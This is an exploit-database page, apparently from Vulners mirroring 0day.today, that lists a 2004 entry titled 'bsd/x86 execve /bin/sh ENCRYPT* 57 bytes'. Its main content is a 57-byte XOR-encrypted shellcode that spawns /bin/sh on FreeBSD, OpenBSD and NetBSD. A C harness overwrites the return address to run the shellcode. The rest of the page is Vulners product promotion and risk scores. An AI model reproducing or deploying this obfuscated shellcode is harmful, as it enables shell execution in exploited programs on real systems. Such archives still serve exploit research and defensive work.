Lucene search
K

bsd/x86 execve /bin/sh ENCRYPT* 57 bytes

🗓️ 26 Sep 2004 00:00:00Reported by Matias SedaloType 
zdt
 zdt
🔗 0day.today👁 37 Views

Exploit code for executing shell with 57-byte encrypted shellcode in BSD systems.

Code
========================================
bsd/x86 execve /bin/sh ENCRYPT* 57 bytes
========================================




/*
   *BSD version
   FreeBSD, OpenBSD, NetBSD.

   [email protected]

   57 bytes.

   -Encriptado execve(/bin/sh);

   Para mas informacion ver
   http://www.shellcode.com.ar/es/proyectos.html
*/

char shellcode[]=
"\xeb\x1b\x5e\x31\xc0\x6a\x1a\x6a\x17\x59\x49\x5b\x8a\x04\x0e"
"\xf6\xd3\x30\xd8\x88\x04\x0e\x50\x85\xc9\x75\xef\xeb\x05\xe8"
"\xe0\xff\xff\xff\x0e\x6f\xc7\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2"
"\xf4\x1f\x95\x4c\xfb\xf8\xfc\x1f\x74\x09\xb2\x65";

main()
{
   int *ret;
   printf("Shellcode lenght=%d\n",sizeof(shellcode));
   ret=(int*)&ret+2;
   (*ret)=(int)shellcode;
}



#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Sep 2004 00:00Current
7High risk
Vulners AI Score7
37